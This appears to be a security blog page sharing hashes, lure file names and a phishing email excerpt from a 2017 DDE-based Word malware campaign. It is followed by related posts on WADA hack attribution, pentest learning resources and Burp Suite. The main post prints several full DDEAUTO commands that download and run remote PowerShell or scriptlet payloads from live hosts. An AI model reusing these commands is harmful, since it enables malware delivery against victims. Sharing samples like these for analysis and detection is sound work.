Tuesday, June 9, 2020

DDE Command Execution Malware Samples






Here are a few samples related to the recent DDE Command execution






Reading:
10/18/2017 InQuest/yara-rules 
10/18/2017 https://twitter.com/i/moments/918126999738175489 


Download


File information
List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b








Message information


For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

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This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: multipart/alternative;
boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

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Important information about last changes in EDGAR Filings


--b2_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>



--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>


--b1_7608a3de5fe6c9bf7df6782a8aa9790f--


for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

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Related posts


Monday, June 8, 2020

Why (I Believe) WADA Was Not Hacked By The Russians

Disclaimer: This is my personal opinion. I am not an expert in attribution. But as it turns out, not many people in the world are good at attribution. I know this post lacks real evidence and is mostly based on speculation.



Let's start with the main facts we know about the WADA hack, in chronological order:


1. Some point in time (August - September 2016), the WADA database has been hacked and exfiltrated
2. August 15th, "WADA has alerted their stakeholders that email phishing scams are being reported in connection with WADA and therefore asks its recipients to be careful"  https://m.paralympic.org/news/wada-warns-stakeholders-phishing-scams
3. September 1st, the fancybear.net domain has been registered
   Domain Name: FANCYBEAR.NET
...
Updated Date: 18-sep-2016
Creation Date: 01-sep-2016
4. The content of the WADA hack has been published on the website
5. The @FancyBears and @FancyBearsHT Twitter accounts have been created and started to tweet on 12th September, reaching out to journalists
6. 12th September, Western media started headlines "Russia hacked WADA"
7. The leaked documents have been altered, states WADA https://www.wada-ama.org/en/media/news/2016-10/cyber-security-update-wadas-incident-response


The Threatconnect analysis

The only technical analysis on why Russia was behind the hack, can be read here: https://www.threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/

After reading this, I was able to collect the following main points:

  1. It is Russia because Russian APT groups are capable of phishing
  2. It is Russia because the phishing site "wada-awa[.]org was registered and uses a name server from ITitch[.]com, a domain registrar that FANCY BEAR actors recently used"
  3. It is Russia because "Wada-arna[.]org and tas-cass[.]org were registered through and use name servers from Domains4bitcoins[.]com, a registrar that has also been associated with FANCY BEAR activity."
  4. It is Russia, because "The registration of these domains on August 3rd and 8th, 2016 are consistent with the timeline in which the WADA recommended banning all Russian athletes from the Olympic and Paralympic games."
  5. It is Russia, because "The use of 1&1 mail.com webmail addresses to register domains matches a TTP we previously identified for FANCY BEAR actors."

There is an interesting side-track in the article, the case of the @anpoland account. Let me deal with this at the end of this post.

My problem with the above points is that all five flag was publicly accessible to anyone as TTP's for Fancy Bear. And meanwhile, all five is weak evidence. Any script kittie in the world is capable of both hacking WADA and planting these false-flags.

A stronger than these weak pieces of evidence would be:

  • Malware sharing same code attributed to Fancy Bear (where the code is not publicly available or circulating on hackforums)
  • Private servers sharing the IP address with previous attacks attributed to Fancy Bear (where the server is not a hacked server or a proxy used by multiple parties)
  • E-mail addresses used to register the domain attributed to Fancy Bear
  • Many other things
For me, it is quite strange that after such great analysis on Guccifer 2.0, the Threatconnect guys came up with this low-value post. 


The fancybear website

It is quite unfortunate that the analysis was not updated after the documents have been leaked. But let's just have a look at the fancybear . net website, shall we?

Now the question is, if you are a Russian state-sponsored hacker group, and you are already accused of the hack itself, do you create a website with tons of bears on the website, and do you choose the same name (Fancy Bear) for your "Hack team" that is already used by Crowdstrike to refer to a Russian state-sponsored hacker group? Well, for me, it makes no sense. Now I can hear people screaming: "The Russians changed tactics to confuse us". Again, it makes no sense to change tactics on this, while keeping tactics on the "evidence" found by Threatconnect.

It makes sense that a Russian state-sponsored group creates a fake persona, names it Guccifer 2.0, pretends Guccifer 2.0 is from Romania, but in the end it turns out Guccifer 2.0 isn't a native Romanian speaker. That really makes sense.

What happens when someone creates this fancybear website for leaking the docs, and from the Twitter account reaches out to the media? Journalists check the website, they see it was done by Fancy Bear, they Bing Google this name, and clearly see it is a Russian state-sponsored hacker group. Some journalists also found the Threatconnect report, which seems very convincing for the first read. I mean, it is a work of experts, right? So you can write in the headlines that the hack was done by the Russians.

Just imagine an expert in the USA or Canada writing in report for WADA:
"the hack was done by non-Russian, but state-sponsored actors, who planted a lot of false-flags to accuse the Russians and to destroy confidence in past and future leaks". Well, I am sure this is not a popular opinion, and whoever tries this, risks his career. Experts are human, subject to all kinds of bias.

The Guardian

The only other source I was able to find is from The Guardian, where not just one side (it was Russia) was represented in the article. It is quite unfortunate that both experts are from Russia - so people from USA will call them being not objective on the matter. But the fact that they are Russian experts does not mean they are not true ...

https://www.theguardian.com/sport/2016/sep/15/fancy-bears-hackers--russia-wada-tues-leaks

Sergei Nikitin:
"We don't have this in the case of the DNC and Wada hacks, so it's not clear on what basis conclusions are being drawn that Russian hackers or special services were involved. It's done on the basis of the website design, which is absurd," he said, referring to the depiction of symbolically Russian animals, brown and white bears, on the "Fancy Bears' Hack Team" website.

I don't agree with the DNC part, but this is not the topic of conversation here.

Alexander Baranov:
"the hackers were most likely amateurs who published a "semi-finished product" rather than truly compromising information. "They could have done this more harshly and suddenly," he said. "If it was [state-sponsored] hackers, they would have dug deeper. Since it's enthusiasts, amateurs, they got what they got and went public with it.""

The @anpoland side-track

First please check the tas-cas.org hack https://www.youtube.com/watch?v=day5Aq0bHsA  , I will be here when you finished it. This is a website for "Court of Arbitration for Sport's", and referring to the Threatconnect post, "CAS is the highest international tribunal that was established to settle disputes related to sport through arbitration. Starting in 2016, an anti-doping division of CAS began judging doping cases at the Olympic Games, replacing the IOC disciplinary commission." Now you can see why this attack is also discussed here.


  • My bet is that this machine was set-up for these @anpoland videos only. Whether google.ru is a false flag or it is real, hard to decide. It is interesting to see that there is no google search done via google.ru, it is used only once. 
  • The creator of the video can't double click. Is it because he has a malfunctioning mouse? Is it because he uses a virtualization console, which is near-perfect OPSEC to hide your real identity? My personal experience is that using virtualization consoles remotely (e.g. RDP) has very similar effects to what we can see on the video. 
  • The timeline of the Twitter account is quite strange, registered in 2010
  • I agree with the Threatconnect analysis that this @anpoland account is probably a faketivist, and not an activist. But who is behind it, remains a mystery. 
  • Either the "activist" is using a whonix-like setup for remaining anonymous, or a TOR router (something like this), or does not care about privacy at all. Looking at the response times (SQLmap, web browser), I doubt this "activist" is behind anything related to TOR. Which makes no sense for an activist, who publishes his hack on Youtube. People are stupid for sure, but this does not add up. It makes sense that this was a server (paid by bitcoins or stolen credit cards or whatever) rather than a home computer.
For me, this whole @anpoland thing makes no sense, and I think it is just loosely connected to the WADA hack. 

The mysterious Korean characters in the HTML source

There is another interesting flag in the whole story, which actually makes no sense. When the website was published, there were Korean characters in HTML comments. 



When someone pointed this out on Twitter, these Korean HTML comments disappeared:
These HTML comments look like generated HTML comments, from a WYSIWYG editor, which is using the Korean language. Let me know if you can identify the editor.

The Russians are denying it

Well, what choice they have? It does not matter if they did this or not, they will deny it. And they can't deny this differently. Just imagine a spokesperson: "Previously we have falsely denied the DCC and DNC hacks, but this time please believe us, this wasn't Russia." Sounds plausible ...

Attribution

Let me sum up what we know:

It makes sense that the WADA hack was done by Russia, because:

  1. Russia being almost banned from the Olympics due to doping scandal, it made sense to discredit WADA and US Olympians
  2. There are multiple(weak) pieces of evidence which point to Russia
It makes sense that the WADA hack was not done by  Russia, because: 
  1. By instantly attributing the hack to the Russians, the story was more about to discredit Russia than discrediting WADA or US Olympians.
  2. In reality, there was no gain for Russia for disclosing the documents. Nothing happened, nothing changed, no discredit for WADA. Not a single case turned out to be illegal or unethical.
  3. Altering the leaked documents makes no sense if it was Russia (see update at the end). Altering the leaked documents makes a lot of sense if it was not Russia. Because from now on, people can always state "these leaks cannot be trusted, so it is not true what is written there". It is quite cozy for any US organization, who has been hacked or will be hacked. If you are interested in the "Russians forging leaked documents" debate, I highly recommend to start with this The Intercept article
  4. If the Korean characters were false flags planted by the Russians, why would they remove it? If it had been Russian characters, I would understand removing it.
  5. All evidence against Russia is weak, can be easily forged by even any script kittie.

I don't like guessing, but here is my guess. This WADA hack was an operation of a (non-professional) hackers-for-hire service, paid by an enemy of Russia. The goal was to hack WADA, leak the documents, modify some contents in the documents, and blame it all on the Russians ...

Questions and answers

  • Was Russia capable of doing this WADA hack? Yes.
  • Was Russia hacking WADA? Maybe yes, maybe not.
  • Was this leak done by a Russian state-sponsored hacker group? I highly doubt that.
  • Is it possible to buy an attribution-dice where all six-side is Russia? No, it is sold-out. 

To quote Patrick Gray: "Russia is the new China, and the Russians ate my homework."©

Let me know what you think about this, and please comment. 

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Learning Resources For Hacking And Pentesting


In this article, I'm going to provide you a list of resources which I have found very useful. I don't remember all of them from top of my head so I might miss some. This list will be updated on usual basis. Hope you'll find some good stuff to learn. If you have got suggestions leave them down below in the comments section.

Free Hands on Labs:

1. Hack The Box - live machines to hack your way around. Besides boxes they have awesome challenges and great labs to try out.
2. TryHackMe - great way to learn pentesting while doing it. Lots of machines to hack and lots of ground to cover.
3. Portswigger Web Security Academy - learn web application pentesting.

Free Training (Mostly Introductory stuff):

1. Tenable University - training and certification on Nessus etc.
2. Palo Alto Networks - Palo Alto Networks offers an abundance of resources to prepare for there certifications. The training is free but the exams cost.
3. Open P-TECH - has an introductory course on Cybersecurity Fundamentals.
4. IBM Security Learning Academy - has many courses but focused on IBM security services and 
products.
5. Cisco Networking Academy - not all courses are free but Introduction to Cybersecurity and Cybersecurity Essentials are free.
6. AWS Training and Certification - has some free cloud security training courses.
7. Metasploit Unleashed - Free Online Ethical Hacking Course - Offensive Security's free online course on metasploit.
8. Coursera and Edx - you already know about them.

Blogs:

1. HackTricks - This is simply an awesome blog just visit it and you'll fall in love.
2. pentestmonkey - I visit it most of the time for one-liner reverse shells they are awesome.

Writeups:

1. 0xdf

YouTube:

1. ippsec - an awesome YouTube channel with tons of information in every video. New video comes out weekly as soon as the machine on hackthebox expires. https://ippsec.rocks for video searching
2. xct - short walkthroughs on hackthebox machines.
3. Cristi Vlad - advice and content on pentesting and python.
4. LiveOverflow - reverse engineering on steroids.
5. SANS Pen Test Training - SANS institute webinars and talks.
6. VbScrub - great pentesting videos.
7. BinaryAdventure - great pentesting and reverse engineering videos.
8. GynvaelEN - great videos and talks about CTFs and pentesting.

GitHub Repos:

1. PayloadsAllTheThings - heaven of hackers.
2. Pentest Monkey - reverse shells and more.
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Odysseus


"Odysseus is a tool designed for testing the security of web applications. Odysseus is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a web server. Odysseus will intercept an HTTP session's data in either direction and give the user the ability to alter the data before transmission. For example, during a normal HTTP SSL connection a typical proxy will relay the session between the server and the client and allow the two end nodes to negotiate SSL. In contrast, when in intercept mode, Odysseus will pretend to be the server and negotiate two SSL sessions, one with the client browser and another with the web server." read more...

Download: http://www.bindshell.net/tools/odysseus


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  1. Pentest App
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BurpSuite Introduction & Installation



What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.











Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from   https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/


If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.


Video for setup and installation.




You need to install compatible version of java , So that you can run BurpSuite.

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HOW TO BECOME A CERTIFIED ETHICAL HACKER

7 Tips to become a hacker?
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.

1-Programming Language are essential to becoming a good hacker 

2-Networking skills is important to becoming an effective hacker.

3-SQL language are essential to becoming an effective hacker 

4-Internet surfing is also essential for becoming a hacker for gathering information.

5-Cryptography is essential to becoming a certified hacker from which a hacker can share his/her readable data to other person in a nonreadable form with the help of Cryptography.

6-Penetration testing  is also important for a hacker.

7-experiment a lot is also very useful to becoming a ethical hacker.

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Networking | Switching And Routing | Tutorial 1 | 2018


Welcome to my new series of tutorials about networking. Moreover in this series I'll discuss briefly each and every thing related to routing and switching. After that you will able to pass an exam of HCNA, CCNA etc. First of all you have to know which software is used by which company such as Huawei used its own software named eNSP while Cisco used its own software named Cisco Packet Tracer. After that you have to know that how to download and install both of the software in your computer systems. So the purpose of this blog is to give you people an overview about how to download and install both of them.

What is a Network? 

First of all we must have to know about what is a network. So the network is the interconnection of two or more than two devices in such a way that they can communicate each other. In computer networks we can say that the interconnection of two or more than two end devices (computer, laptops, printers etc) for the sake of sending and receiving some amount of data is known as computer network.

What is Internet?  

The very simple and easily understandable definition of a internet is "The network of networks". Now what is meant by that? When different networks from the different areas or at the same areas wanna communicate with each other then internet formed. So we can say that "Internet is the interconnection of different networks in such a way that networks can communicate with each other".


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